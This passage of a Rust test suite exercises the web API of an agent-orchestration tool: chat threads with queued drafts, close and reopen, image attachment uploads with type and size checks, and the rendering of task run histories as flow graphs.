8113 let cfg = config_for(&repo).await.expect("discover config");
8114
8115 for attempt in 0..3u32 {
8116 let talk = talk::begin(&talks, &cfg, repo.clone(), None).expect("begin talk");
8117 let id = talk.id.clone();
8118 let turn_guard = ui
8121 .begin_talk_turn(&id)
8122 .expect("claim the turn")
8123 .expect("a fresh talk owes nobody a turn");
8124
8125 let (reached_tx, reached_rx) = tokio::sync::oneshot::channel();
8126 let (release_tx, release_rx) = std::sync::mpsc::channel();
8127 ui.set_busy_queue_gate(BusyQueueGate {
8128 reached: reached_tx,
8129 release: release_rx,
8130 });
8131
8132 let handler = tokio::spawn(talk_say(
8133 State(Arc::clone(&ui)),
8134 Path(id.clone()),
8135 Ok(Json(NewTalkTurn {
8136 text: "what does the queue module do?".to_owned(),
8137 attachments: Vec::new(),
8138 })),
8139 ));
8140
8141 tokio::time::timeout(Duration::from_secs(5), reached_rx)
8146 .await
8147 .unwrap_or_else(|_| {
8148 panic!(
8149 "attempt {attempt}: talk {id} never reached the busy branch's queue write"
8150 )
8151 })
8152 .expect("the busy branch dropped the gate without using it");
8153
8154 let running = talks.get(&id).expect("reload talk");
8161 drain_loop(running, talks.clone(), cfg.clone(), id.clone(), turn_guard).await;
8162
8163 handler.abort();
8167 let _ = handler.await;
8168
8169 let _ = release_tx.send(());
8175
8176 let mut fresh = talks.get(&id).expect("reload talk");
8179 for _ in 0..SETTLE_STEPS {
8180 if fresh.pending.is_empty() && fresh.turns.len() == 2 {
8181 break;
8182 }
8183 tokio::time::sleep(Duration::from_millis(10)).await;
8184 fresh = talks.get(&id).expect("reload talk");
8185 }
8186 assert!(
8187 fresh.pending.is_empty() && fresh.turns.len() == 2,
8188 "attempt {attempt}: talk {id} left the operator's text queued \
8189 with no drainer - the reclaimed turn was dropped along with \
8190 the handler future (pending {:?}, {} turns)",
8191 fresh.pending,
8192 fresh.turns.len()
8193 );
8194 }
8195 }
8196
8197 #[tokio::test]
8198 async fn editing_a_recovered_pending_draft_restarts_its_drain_once() {
8199 let (_tmp, _repo, f) = talk_fixture().await;
8200 let id = f.post("/api/talks", None).await.json()["id"]
8201 .as_str()
8202 .expect("id")
8203 .to_owned();
8204 let store = f.talks();
8205 let mut recovered = store.get(&id).expect("opened talk");
8206 talk::queue(&mut recovered, &store, "saved before restart", Vec::new())
8207 .expect("persist pending draft without a live turn");
8208
8209 let edited = f
8210 .post(
8211 &format!("/api/talks/{id}/pending/edit"),
8212 Some(r#"{"text":"corrected","expected_text":"saved before restart","expected_attachments":[]}"#),
8213 )
8214 .await;
8215 assert_eq!(edited.status, 200, "{}", edited.body);
8216 assert!(edited.json()["thinking"].as_bool().unwrap());
8217
8218 let mut detail = f.get(&format!("/api/talks/{id}")).await.json();
8219 for _ in 0..SETTLE_STEPS {
8220 if detail["turns"].as_array().expect("turns").len() == 2 {
8221 break;
8222 }
8223 tokio::time::sleep(Duration::from_millis(10)).await;
8224 detail = f.get(&format!("/api/talks/{id}")).await.json();
8225 }
8226 let turns = detail["turns"].as_array().expect("turns");
8227 assert_eq!(
8228 turns.len(),
8229 2,
8230 "the recovered draft must run once: {detail}"
8231 );
8232 assert_eq!(turns[0]["body"], "corrected");
8233 assert_eq!(detail["pending"], "");
8234 }
8235
8236 #[tokio::test]
8237 async fn recovered_pending_requires_explicit_resume_and_duplicate_resume_runs_once() {
8238 let tmp = TempDir::new().expect("tempdir");
8239 let repo = tmp.path().join("repo");
8240 std::fs::create_dir_all(&repo).expect("repo dir");
8241 std::fs::write(repo.join("magi.toml"), SLOW_MOCK_AGENT_TOML).expect("write config");
8242 let f = Fixture::with_repo(repo).await;
8243 let id = f.post("/api/talks", None).await.json()["id"]
8244 .as_str()
8245 .expect("id")
8246 .to_owned();
8247 let store = f.talks();
8248 let mut recovered = store.get(&id).expect("opened talk");
8249 talk::queue(&mut recovered, &store, "saved before restart", Vec::new())
8250 .expect("persist pending draft without a live turn");
8251
8252 let refused = f
8253 .post(
8254 &format!("/api/talks/{id}/say"),
8255 Some(r#"{"text":"new message"}"#),
8256 )
8257 .await;
8258 assert_eq!(refused.status, 409, "{}", refused.body);
8259 assert!(refused.body.contains("resume"), "{}", refused.body);
8260 let saved = store.get(&id).expect("draft remains after refusal");
8261 assert!(saved.turns.is_empty());
8262 assert_eq!(saved.pending, "saved before restart");
8263
8264 let say_path = format!("/api/talks/{id}/say");
8265 let (first, second) = tokio::join!(
8266 f.post(&say_path, Some(r#"{"text":"concurrent one"}"#)),
8267 f.post(&say_path, Some(r#"{"text":"concurrent two"}"#)),
8268 );
8269 assert_eq!(first.status, 409, "{}", first.body);
8270 assert_eq!(second.status, 409, "{}", second.body);
8271 let saved = store
8272 .get(&id)
8273 .expect("draft remains after concurrent refusals");
8274 assert!(saved.turns.is_empty());
8275 assert_eq!(saved.pending, "saved before restart");
8276
8277 let resumed = f
8278 .post(&format!("/api/talks/{id}/pending/resume"), None)
8279 .await;
8280 assert_eq!(resumed.status, 202, "{}", resumed.body);
8281 let duplicate = f
8282 .post(&format!("/api/talks/{id}/pending/resume"), None)
8283 .await;
8284 assert_eq!(duplicate.status, 409, "{}", duplicate.body);
8285
8286 for _ in 0..SETTLE_STEPS {
8287 if store.get(&id).expect("talk").turns.len() == 2 {
8288 break;
8289 }
8290 tokio::time::sleep(Duration::from_millis(10)).await;
8291 }
8292 let finished = store.get(&id).expect("finished talk");
8293 assert_eq!(finished.turns.len(), 2, "{finished:?}");
8294 assert_eq!(finished.turns[0].body, "saved before restart");
8295 assert!(finished.pending.is_empty());
8296 }
8297
8298 #[tokio::test]
8299 async fn an_image_only_recovered_draft_resumes_without_text() {
8300 let (_tmp, _repo, f) = talk_fixture().await;
8301 let id = f.post("/api/talks", None).await.json()["id"]
8302 .as_str()
8303 .expect("id")
8304 .to_owned();
8305 let uploaded = f
8306 .post_bytes(
8307 &format!("/api/talks/{id}/attachments"),
8308 &[("Content-Type", "image/png"), ("X-Filename", "saved.png")],
8309 PNG_BYTES,
8310 )
8311 .await;
8312 assert_eq!(uploaded.status, 201, "{}", uploaded.body);
8313 let attachment = f
8314 .talks()
8315 .attachment_meta(&id, uploaded.json()["id"].as_str().expect("attachment id"))
8316 .expect("attachment metadata")
8317 .expect("stored attachment");
8318 let store = f.talks();
8319 let mut recovered = store.get(&id).expect("opened talk");
8320 talk::queue(&mut recovered, &store, "", vec![attachment]).expect("queue image only");
8321
8322 let resumed = f
8323 .post(&format!("/api/talks/{id}/pending/resume"), None)
8324 .await;
8325 assert_eq!(resumed.status, 202, "{}", resumed.body);
8326 for _ in 0..SETTLE_STEPS {
8327 if store.get(&id).expect("talk").turns.len() == 2 {
8328 break;
8329 }
8330 tokio::time::sleep(Duration::from_millis(10)).await;
8331 }
8332 let finished = store.get(&id).expect("finished talk");
8333 assert_eq!(finished.turns.len(), 2, "{finished:?}");
8334 assert!(finished.turns[0].body.is_empty());
8335 assert_eq!(finished.turns[0].attachments.len(), 1);
8336 assert!(finished.pending_attachments.is_empty());
8337 }
8338
8339 #[tokio::test]
8340 async fn closed_talk_refuses_pending_mutations_without_changing_the_record() {
8341 let (_tmp, _repo, f) = talk_fixture().await;
8342 let id = f.post("/api/talks", None).await.json()["id"]
8343 .as_str()
8344 .expect("id")
8345 .to_owned();
8346 let closed = f.post(&format!("/api/talks/{id}/close"), None).await;
8347 assert_eq!(closed.status, 200, "{}", closed.body);
8348 let before_clear = serde_json::to_value(f.talks().get(&id).expect("closed talk"))
8349 .expect("serialize closed talk");
8350 for (path, body) in [
8351 (format!("/api/talks/{id}/pending/resume"), None),
8352 (
8353 format!("/api/talks/{id}/pending/clear"),
8354 Some(r#"{"expected_text":"","expected_attachments":[]}"#),
8355 ),
8356 (
8357 format!("/api/talks/{id}/pending/edit"),
8358 Some(r#"{"text":"x","expected_text":"","expected_attachments":[]}"#),
8359 ),
8360 (format!("/api/talks/{id}/say"), Some(r#"{"text":"x"}"#)),
8361 ] {
8362 let response = f.post(&path, body).await;
8363 assert_eq!(response.status, 409, "{}", response.body);
8364 }
8365 let after_clear = serde_json::to_value(f.talks().get(&id).expect("closed talk"))
8366 .expect("serialize closed talk");
8367 assert_eq!(
8368 after_clear, before_clear,
8369 "clear must not rewrite a closed talk"
8370 );
8371 }
8372
8373 const SLOW_MOCK_AGENT_TOML: &str = "[[agents]]\nid = \"mock\"\nkind = \"command\"\ncommand = [\"sh\", \"-c\", \"cat >/dev/null && sleep 0.3 && printf ok\"]\n";
8376
8377 #[tokio::test]
8378 async fn talks_report_independent_thinking_claims_and_queue_a_second_message() {
8379 let tmp = TempDir::new().expect("tempdir");
8380 let repo = tmp.path().join("repo");
8381 std::fs::create_dir_all(&repo).expect("repo dir");
8382 std::fs::write(repo.join("magi.toml"), SLOW_MOCK_AGENT_TOML).expect("write config");
8383 let f = Fixture::with_repo(repo).await;
8384 let id_a = f.post("/api/talks", None).await.json()["id"]
8385 .as_str()
8386 .unwrap()
8387 .to_owned();
8388 let id_b = f.post("/api/talks", None).await.json()["id"]
8389 .as_str()
8390 .unwrap()
8391 .to_owned();
8392
8393 let a = f
8394 .post(&format!("/api/talks/{id_a}/say"), Some(r#"{"text":"a"}"#))
8395 .await;
8396 assert_eq!(a.status, 202, "{}", a.body);
8397 assert_eq!(a.json()["thinking"], true);
8398 let b = f
8399 .post(&format!("/api/talks/{id_b}/say"), Some(r#"{"text":"b"}"#))
8400 .await;
8401 assert_eq!(b.status, 202, "{}", b.body);
8402 assert_eq!(b.json()["thinking"], true);
8403
8404 let listed = f.get("/api/talks").await.json();
8405 for id in [&id_a, &id_b] {
8406 let view = listed
8407 .as_array()
8408 .unwrap()
8409 .iter()
8410 .find(|talk| talk["id"] == *id)
8411 .unwrap();
8412 assert_eq!(view["thinking"], true, "{listed}");
8413 }
8414 let repeated = f
8415 .post(
8416 &format!("/api/talks/{id_a}/say"),
8417 Some(r#"{"text":"again"}"#),
8418 )
8419 .await;
8420 assert_eq!(repeated.status, 202, "{}", repeated.body);
8421 assert_eq!(repeated.json()["pending"], "again");
8422 }
8423
8424 const PNG_BYTES: &[u8] = b"\x89PNG\r\n\x1a\n\x00\x00\x00\x0dIHDR\x00\x00\x00\x01";
8427
8428 #[tokio::test]
8429 async fn a_png_attachment_upload_is_201_and_get_returns_it_with_nosniff() {
8430 let f = Fixture::start().await;
8431 let id = seed_talk(&f, "20260905-000000-a1b2", "open");
8432
8433 let res = f
8434 .post_bytes(
8435 &format!("/api/talks/{id}/attachments"),
8436 &[("Content-Type", "image/png"), ("X-Filename", "shot.png")],
8437 PNG_BYTES,
8438 )
8439 .await;
8440 assert_eq!(res.status, 201, "{}", res.body);
8441 let body = res.json();
8442 assert_eq!(body["name"], "shot.png");
8443 assert_eq!(body["mime"], "image/png");
8444 assert_eq!(body["bytes"], PNG_BYTES.len());
8445 let att_id = body["id"].as_str().expect("id").to_owned();
8446 assert_eq!(
8447 att_id.len(),
8448 32,
8449 "the id must never be a client-suppliable path: {att_id}"
8450 );
8451
8452 let got = f
8453 .get(&format!("/api/talks/{id}/attachments/{att_id}"))
8454 .await;
8455 assert_eq!(got.status, 200, "{}", got.body);
8456 assert_eq!(got.header("content-type"), Some("image/png"));
8457 assert_eq!(got.header("x-content-type-options"), Some("nosniff"));
8458 assert_eq!(got.bytes, PNG_BYTES);
8459 }
8460
8461 #[tokio::test]
8462 async fn an_svg_a_text_file_and_an_oversized_upload_are_all_4xx() {
8463 let f = Fixture::start().await;
8464 let id = seed_talk(&f, "20260905-000000-c3d4", "open");
8465
8466 let svg = f
8469 .post_bytes(
8470 &format!("/api/talks/{id}/attachments"),
8471 &[("Content-Type", "image/svg+xml")],
8472 b"<svg xmlns=\"http://www.w3.org/2000/svg\"></svg>",
8473 )
8474 .await;
8475 assert!(
8476 (400..500).contains(&svg.status),
8477 "svg must be refused: {} {}",
8478 svg.status,
8479 svg.body
8480 );
8481 assert!(svg.body.contains("SVG"), "{}", svg.body);
8482
8483 let text = f
8484 .post_bytes(
8485 &format!("/api/talks/{id}/attachments"),
8486 &[("Content-Type", "text/plain")],
8487 b"just some text",
8488 )
8489 .await;
8490 assert!(
8491 (400..500).contains(&text.status),
8492 "an unlisted type must be refused: {} {}",
8493 text.status,
8494 text.body
8495 );
8496
8497 let oversized = vec![0u8; ATTACHMENT_MAX_BYTES + 1];
8500 let big = f
8501 .post_bytes(
8502 &format!("/api/talks/{id}/attachments"),
8503 &[("Content-Type", "image/png")],
8504 &oversized,
8505 )
8506 .await;
8507 assert_eq!(
8508 big.status,
8509 StatusCode::PAYLOAD_TOO_LARGE.as_u16(),
8510 "{}",
8511 big.body
8512 );
8513 }
8514
8515 #[tokio::test]
8516 async fn a_mislabeled_upload_is_refused_even_though_the_declared_type_is_on_the_whitelist() {
8517 let f = Fixture::start().await;
8518 let id = seed_talk(&f, "20260905-000000-d4e5", "open");
8519
8520 let res = f
8523 .post_bytes(
8524 &format!("/api/talks/{id}/attachments"),
8525 &[("Content-Type", "image/png")],
8526 b"<html>not a picture</html>",
8527 )
8528 .await;
8529 assert!((400..500).contains(&res.status), "{}", res.body);
8530 }
8531
8532 #[tokio::test]
8533 async fn an_unknown_attachment_id_is_a_404() {
8534 let f = Fixture::start().await;
8535 let id = seed_talk(&f, "20260905-000000-e5f6", "open");
8536
8537 let res = f
8538 .get(&format!("/api/talks/{id}/attachments/{}", "0".repeat(32)))
8539 .await;
8540 assert_eq!(res.status, 404, "{}", res.body);
8541 }
8542
8543 #[tokio::test]
8544 async fn talk_say_with_only_an_attachment_and_no_body_is_accepted_and_persists() {
8545 let f = Fixture::start().await;
8546 let id = seed_talk(&f, "20260905-000000-f6a7", "open");
8547
8548 let uploaded = f
8549 .post_bytes(
8550 &format!("/api/talks/{id}/attachments"),
8551 &[("Content-Type", "image/png"), ("X-Filename", "shot.png")],
8552 PNG_BYTES,
8553 )
8554 .await;
8555 assert_eq!(uploaded.status, 201, "{}", uploaded.body);
8556 let att_id = uploaded.json()["id"].as_str().expect("id").to_owned();
8557
8558 let res = f
8559 .post(
8560 &format!("/api/talks/{id}/say"),
8561 Some(&format!(r#"{{"text":"","attachments":["{att_id}"]}}"#)),
8562 )
8563 .await;
8564 assert_eq!(res.status, 202, "{}", res.body);
8565 let queued = res.json();
8566 let turns = queued["turns"].as_array().expect("turns array");
8567 assert_eq!(
8568 turns.len(),
8569 1,
8570 "an empty body with an attachment is still a turn: {queued}"
8571 );
8572 assert_eq!(turns[0]["who"], "operator");
8573 assert_eq!(turns[0]["body"], "");
8574 let atts = turns[0]["attachments"]
8575 .as_array()
8576 .expect("attachments array");
8577 assert_eq!(atts.len(), 1);
8578 assert_eq!(atts[0]["id"], att_id);
8579 assert_eq!(atts[0]["mime"], "image/png");
8580
8581 let on_disk = f.talks().get(&id).expect("get");
8584 assert_eq!(on_disk.turns[0].attachments.len(), 1);
8585 assert_eq!(on_disk.turns[0].attachments[0].id, att_id);
8586 }
8587
8588 #[tokio::test]
8589 async fn saying_with_an_unknown_attachment_id_is_a_4xx_and_records_nothing() {
8590 let f = Fixture::start().await;
8591 let id = seed_talk(&f, "20260905-000000-a7b8", "open");
8592
8593 let res = f
8594 .post(
8595 &format!("/api/talks/{id}/say"),
8596 Some(&format!(
8597 r#"{{"text":"hi","attachments":["{}"]}}"#,
8598 "a".repeat(32)
8599 )),
8600 )
8601 .await;
8602 assert!((400..500).contains(&res.status), "{}", res.body);
8603 assert!(res.body.contains("unknown attachment"), "{}", res.body);
8604
8605 let on_disk = f.talks().get(&id).expect("get");
8606 assert!(
8607 on_disk.turns.is_empty(),
8608 "a rejected attachment id must not partially record the turn: {:?}",
8609 on_disk.turns
8610 );
8611 }
8612
8613 #[tokio::test]
8614 async fn talk_close_makes_the_talk_refuse_further_turns() {
8615 let f = Fixture::start().await;
8616 let id = seed_talk(&f, "20260904-014455-cd34", "open");
8617
8618 let closed = f.post(&format!("/api/talks/{id}/close"), None).await;
8619 assert_eq!(closed.status, 200, "{}", closed.body);
8620 assert_eq!(closed.json()["status"], "closed");
8621
8622 let closed_again = f.post(&format!("/api/talks/{id}/close"), None).await;
8624 assert_eq!(closed_again.status, 200);
8625 assert_eq!(closed_again.json()["status"], "closed");
8626
8627 let said = f
8628 .post(
8629 &format!("/api/talks/{id}/say"),
8630 Some(r#"{"text":"too late"}"#),
8631 )
8632 .await;
8633 assert_eq!(said.status, 409, "{}", said.body);
8634 }
8635
8636 #[tokio::test]
8637 async fn talk_reopen_lets_a_closed_talk_take_turns_again_and_is_idempotent() {
8638 let (_tmp, _repo, f) = talk_fixture().await;
8639 let id = f.post("/api/talks", None).await.json()["id"]
8640 .as_str()
8641 .expect("id")
8642 .to_owned();
8643 let closed = f.post(&format!("/api/talks/{id}/close"), None).await;
8644 assert_eq!(closed.status, 200, "{}", closed.body);
8645
8646 let reopened = f.post(&format!("/api/talks/{id}/reopen"), None).await;
8647 assert_eq!(reopened.status, 200, "{}", reopened.body);
8648 assert_eq!(reopened.json()["status"], "open");
8649
8650 let reopened_again = f.post(&format!("/api/talks/{id}/reopen"), None).await;
8652 assert_eq!(reopened_again.status, 200);
8653 assert_eq!(reopened_again.json()["status"], "open");
8654
8655 let said = f
8656 .post(
8657 &format!("/api/talks/{id}/say"),
8658 Some(r#"{"text":"still there?"}"#),
8659 )
8660 .await;
8661 assert_eq!(
8662 said.status, 202,
8663 "a reopened talk accepts turns again: {}",
8664 said.body
8665 );
8666 }
8667
8668 #[tokio::test]
8669 async fn talk_reopen_on_an_unknown_id_is_404() {
8670 let f = Fixture::start().await;
8671 let res = f.post("/api/talks/nonexistent-id/reopen", None).await;
8672 assert_eq!(res.status, 404, "{}", res.body);
8673 }
8674
8675 #[tokio::test]
8676 async fn talk_delete_removes_the_talk_from_disk_and_the_list() {
8677 let f = Fixture::start().await;
8678 let id = seed_talk(&f, "20260904-014455-ef56", "closed");
8679
8680 let deleted = f.delete(&format!("/api/talks/{id}")).await;
8681 assert_eq!(deleted.status, 204, "{}", deleted.body);
8682
8683 let after = f.get(&format!("/api/talks/{id}")).await;
8684 assert_eq!(after.status, 404, "{}", after.body);
8685
8686 let listed = f.get("/api/talks").await.json();
8687 assert!(
8688 listed.as_array().unwrap().iter().all(|t| t["id"] != id),
8689 "a deleted talk must not linger in the list: {listed}"
8690 );
8691 }
8692
8693 #[tokio::test]
8694 async fn talk_delete_on_an_unknown_id_is_404() {
8695 let f = Fixture::start().await;
8696 let res = f.delete("/api/talks/nonexistent-id").await;
8697 assert_eq!(res.status, 404, "{}", res.body);
8698 }
8699
8700 #[tokio::test]
8704 async fn task_detail_lists_every_run_with_what_kind_of_attempt_it_was() {
8705 let f = Fixture::start().await;
8706 let (a, b, gone) = (
8707 "20260902-140501-aaaa",
8708 "20260902-140502-bbbb",
8709 "20260902-140503-cccc",
8710 );
8711 write_run(&f.runs(), a, RunStatus::Stalled);
8712 let mut review = RunState::new(
8713 PathBuf::from("/repo/magi"),
8714 "main".to_owned(),
8715 "0123456789abcdef".to_owned(),
8716 "Review the work already on branch `magi/aaaa/A`. There is no task statement."
8717 .to_owned(),
8718 Config::default(),
8719 );
8720 review.id = b.to_owned();
8721 review.status = RunStatus::Merged;
8722 write_state(&f.runs(), &review);
8723
8724 let mut task = Task::new(
8725 "retry".to_owned(),
8726 "Do the thing".to_owned(),
8727 PathBuf::from("/repo/magi"),
8728 Source::Human,
8729 );
8730 task.start(a.to_owned());
8731 task.stall("quota");
8732 task.start(a.to_owned());
8733 task.start(b.to_owned());
8734 task.start(gone.to_owned());
8735 f.queue().put(&mut task).expect("file the task");
8736
8737 let res = f.get(&format!("/api/queue/{}", task.id)).await;
8738 assert_eq!(res.status, 200, "{}", res.body);
8739 let v = res.json();
8740 let h = v["history"].as_array().expect("history");
8741 assert_eq!(h.len(), 4, "{v}");
8742 assert_eq!(h[0]["kind"], "competition");
8743 assert_eq!(h[0]["status"], "stalled");
8744 assert_eq!(h[0]["provisional"], true, "a stall is never a decision");
8745 assert_eq!(h[1]["kind"], "resume", "{v}");
8746 assert!(
8747 h[0]["outcome"]
8748 .as_str()
8749 .unwrap()
8750 .contains("unknown. Pass #2"),
8751 "an earlier pass of a resumed run must not claim the final outcome: {v}"
8752 );
8753 assert!(
8754 !h[1]["outcome"].as_str().unwrap().contains("unknown."),
8755 "{v}"
8756 );
8757 assert!(
8758 !h[0]["outcome"].as_str().unwrap().contains("parked it"),
8759 "an unrecorded cause must not be narrated as an operator park: {v}"
8760 );
8761 assert_eq!(h[2]["kind"], "review");
8762 assert!(
8763 h[2]["description"]
8764 .as_str()
8765 .unwrap()
8766 .contains("magi/aaaa/A")
8767 );
8768 assert_eq!(h[2]["status"], "merged");
8769 assert_eq!(h[3]["readable"], false, "an unreadable run is shown");
8770 assert_eq!(v["runs_unreadable"], 1);
8771 let nodes = v["flow"]["nodes"].as_array().expect("flow nodes");
8772 assert_eq!(nodes.len(), 6, "start + four passes + end: {v}");
8773 assert_eq!(nodes[4]["note"], "unreadable");
8774 assert_eq!(v["flow"]["edges"].as_array().unwrap().len(), 5);
8775 assert_eq!(v["instruction"], "Do the thing");
8776 assert!(v["attempts_note"].as_str().unwrap().contains("handed back"));
8777
8778 let run = f.get(&format!("/api/runs/{a}")).await.json();
8780 assert_eq!(run["task"]["id"], task.id.as_str(), "{run}");
8781
8782 assert_eq!(f.get("/api/queue/nosuchtask").await.status, 404);
8783 }
8784
8785 fn flow_run(status: RunStatus, edit: impl FnOnce(&mut RunState)) -> RunState {
8786 let mut s = RunState::new(
8787 PathBuf::from("/repo/magi"),
8788 "main".to_owned(),
8789 "0123456789abcdef".to_owned(),
8790 "Do it".to_owned(),
8791 Config::default(),
8792 );
8793 s.status = status;
8794 edit(&mut s);
8795 s
8796 }
8797
8798 fn flow_task(runs: &[&str]) -> Task {
8799 let mut t = Task::new(
8800 "t".to_owned(),
8801 "Do it".to_owned(),
8802 PathBuf::from("/repo/magi"),
8803 Source::Human,
8804 );
8805 for r in runs {
8806 t.start((*r).to_owned());
8807 }
8808 t
8809 }
8810
8811 fn flow_for(task: &Task, states: &[(&str, Option<RunState>)]) -> FlowView {
8812 let h = task_history(task, |id| {
8813 states
8814 .iter()
8815 .find(|(i, _)| *i == id)
8816 .and_then(|(_, s)| s.clone())
8817 });
8818 task_flow(task, &h, 5)
8819 }
8820
8821 #[test]
8822 fn flow_opens_with_the_chat_that_queued_the_task() {
8823 let mut t = flow_task(&[]);
8824 t.source = Source::Agent {
8825 run: "a b/c".to_owned(),
8826 node: crate::queue::CHAT_NODE.to_owned(),
8827 };
8828 let f = flow_for(&t, &[]);
8829 assert_eq!(f.nodes[0].key, "chat");
8830 assert_eq!(f.nodes[0].kind, "chat");
8831 assert_eq!(
8832 f.nodes[0].label,
8833 format!("Chat {}", crate::queue::short("a b/c"))
8834 );
8835 assert_eq!(f.nodes[0].href.as_deref(), Some("#/chat/a%20b%2Fc"));
8836 assert_eq!(f.nodes[1].key, "start");
8837 assert_eq!(
8838 f.edges[0],
8839 FlowEdge {
8840 from: "chat".to_owned(),
8841 to: "start".to_owned(),
8842 label: "queued from chat".to_owned(),
8843 attempt: AttemptCost::None,
8844 }
8845 );
8846 }
8847
8848 #[test]
8849 fn flow_has_no_chat_box_for_other_sources() {
8850 for source in [
8851 Source::Human,
8852 Source::Issue {
8853 number: 3,
8854 repo: "o/r".to_owned(),
8855 },
8856 Source::Agent {
8857 run: "20260904-014455-ab12".to_owned(),
8858 node: "implement".to_owned(),
8859 },
8860 ] {
8861 let mut t = flow_task(&[]);
8862 t.source = source;
8863 let f = flow_for(&t, &[]);
8864 assert_eq!(f.nodes[0].key, "start");
8865 assert!(f.nodes.iter().all(|n| n.kind != "chat"));
8866 assert!(f.edges.iter().all(|e| e.from != "chat"));
8867 }
8868 }
8869
8870 const FA: &str = "20260902-140501-aaaa";
8871 const FB: &str = "20260902-140502-bbbb";
8872
8873 #[test]
8874 fn flow_follows_blocked_retry_merged_to_done() {
8875 let mut t = flow_task(&[FA, FB]);
8876 t.status = TaskStatus::Done;
8877 let f = flow_for(
8878 &t,
8879 &[
8880 (FA, Some(flow_run(RunStatus::Blocked, |_| {}))),
8881 (FB, Some(flow_run(RunStatus::Merged, |_| {}))),
8882 ],
8883 );
8884 let keys: Vec<_> = f.nodes.iter().map(|n| n.key.as_str()).collect();
8885 assert_eq!(keys, ["start", "run-1", "run-2", "end"]);
8886 assert_eq!(f.edges.len(), 3);
8887 assert_eq!(f.edges[0].label, "claimed");
8888 assert_eq!(f.edges[1].label, "blocked, attempt spent \u{2192} retry");
8889 assert_eq!(f.edges[1].attempt, AttemptCost::Spent);
8890 assert_eq!(f.edges[2].label, "merged \u{2192} done");
8891 assert_eq!(
8892 f.nodes[2].href.as_deref(),
8893 Some("#/runs/20260902-140502-bbbb")
8894 );
8895 assert!(f.nodes[2].decided);
8896 }
8897
8898 #[test]
8899 fn flow_quota_stall_is_refunded_and_never_decided_then_resumes() {
8900 let quota = || {
8901 flow_run(RunStatus::Stalled, |s| {
8902 s.quota.push(crate::run::QuotaLoss {
8903 seat: "judge-1".to_owned(),
8904 node: "judge".to_owned(),
8905 at: Timestamp::now(),
8906 reset: None,
8907 })
8908 })
8909 };
8910 let mut t = flow_task(&[FA, FA]);
8911 t.status = TaskStatus::Queued;
8912 let f = flow_for(&t, &[(FA, Some(quota()))]);
8913 assert_eq!(f.nodes.len(), 4, "a repeated id is one node per pass");
8914 assert_eq!(f.nodes[1].note, Some("interrupted"));
8915 assert_eq!(
8916 f.nodes[1].status, None,
8917 "no outcome copied onto an earlier pass"
8918 );
8919 assert_eq!(
8920 f.edges[1].attempt,
8921 AttemptCost::Unknown,
8922 "a resume does not prove the earlier pass was refunded"
8923 );
8924 assert!(f.edges[1].label.contains("resume the same run"));
8925 assert_eq!(f.edges[2].attempt, AttemptCost::Unknown);
8926 assert_eq!(
8927 f.edges[2].label,
8928 "stalled after a resume, refund unknown \u{2192} queued"
8929 );
8930 assert!(!f.nodes[2].decided, "a stall is not a decision");
8931 assert_eq!(f.nodes[2].note, Some("no verdict"));
8932 }
8933
8934 #[test]
8935 fn flow_single_pass_quota_stall_is_refunded() {
8936 let t = flow_task(&[FA]);
8937 let f = flow_for(
8938 &t,
8939 &[(
8940 FA,
8941 Some(flow_run(RunStatus::Stalled, |s| {
8942 s.quota.push(crate::run::QuotaLoss {
8943 seat: "judge-1".to_owned(),
8944 node: "judge".to_owned(),
8945 at: Timestamp::now(),
8946 reset: None,
8947 })
8948 })),
8949 )],
8950 );
8951 assert_eq!(f.edges[1].attempt, AttemptCost::Refunded);
8952 }
8953
8954 #[test]
8955 fn flow_parked_refunds_and_stall_without_quota_spends() {
8956 let mut t = flow_task(&[FA]);
8957 t.status = TaskStatus::Queued;
8958 let f = flow_for(
8959 &t,
8960 &[(
8961 FA,
8962 Some(flow_run(RunStatus::Implementing, |s| s.parked = true)),
8963 )],
8964 );
8965 assert_eq!(f.edges[1].label, "parked, attempt refunded \u{2192} queued");
8966 assert_eq!(f.edges[1].attempt, AttemptCost::Refunded);
8967 let f = flow_for(&t, &[(FA, Some(flow_run(RunStatus::Stalled, |_| {})))]);
8968 assert_eq!(f.edges[1].attempt, AttemptCost::Spent);
8969 assert!(!f.nodes[1].decided);
8970 }
8971
8972 #[test]
8973 fn flow_keeps_an_unreadable_run_as_its_own_node() {
8974 let t = flow_task(&[FA, FB]);
8975 let f = flow_for(&t, &[(FB, Some(flow_run(RunStatus::Blocked, |_| {})))]);
8976 assert_eq!(f.nodes[1].note, Some("unreadable"));
8977 assert!(!f.nodes[1].readable);
8978 assert_eq!(f.nodes[1].run_kind, Some("unknown"));
8979 assert_eq!(f.edges[1].attempt, AttemptCost::Unknown);
8980 }
8981
8982 #[test]
8983 fn flow_names_the_branch_of_a_review_only_run() {
8984 let t = flow_task(&[FA]);
8985 let f = flow_for(
8986 &t,
8987 &[(
8988 FA,
8989 Some(flow_run(RunStatus::Merged, |s| {
8990 s.instruction = "Review the work already on branch `magi/x/A`. Go.".to_owned()
8991 })),
8992 )],
8993 );
8994 assert_eq!(f.edges[0].label, "review-only run of branch magi/x/A");
8995 assert_eq!(
8996 f.nodes[1].detail.as_deref(),
8997 Some("review-only run of branch magi/x/A")
8998 );
8999 }
9000
9001 #[test]
9002 fn flow_ends_held_with_the_pr_left_open_and_flags_hand_edits() {
9003 let mut t = flow_task(&[FA]);
9004 t.status = TaskStatus::Held;
9005 let pr = crate::run::PrRecord {
9006 url: "https://example.test/pr/1".to_owned(),
9007 number: 1,
9008 state: "open".to_owned(),
9009 checks: "green".to_owned(),
9010 round: 0,
9011 rounds: 3,
9012 red_at_merge: Vec::new(),
9013 };
9014 let blocked = flow_run(RunStatus::Blocked, |s| s.pr = Some(pr));
9015 let f = flow_for(&t, &[(FA, Some(blocked.clone()))]);
9016 assert_eq!(f.edges[1].label, "blocked, PR left open \u{2192} held");
9017 t.status = TaskStatus::Done;
9018 let f = flow_for(&t, &[(FA, Some(blocked))]);
9019 assert_eq!(f.edges[1].label, "closed by hand: task is done");
9020 }
9021
9022 #[test]
9023 fn flow_with_no_runs_goes_from_queued_to_queued() {
9024 let t = flow_task(&[]);
9025 let f = flow_for(&t, &[]);
9026 assert_eq!(f.nodes.len(), 2);
9027 assert_eq!(f.edges.len(), 1);
9028 assert_eq!(f.edges[0].label, "no run yet \u{2192} queued");
9029 assert_eq!(f.edges[0].attempt, AttemptCost::None);
9030 }
9031
9032 #[test]
9035 fn a_parked_non_terminal_run_is_explained_as_parked() {
9036 let mut s = RunState::new(
9037 PathBuf::from("/repo/magi"),
9038 "main".to_owned(),
9039 "0123456789abcdef".to_owned(),
9040 "Do it".to_owned(),
9041 Config::default(),
9042 );
9043 s.status = RunStatus::Implementing;
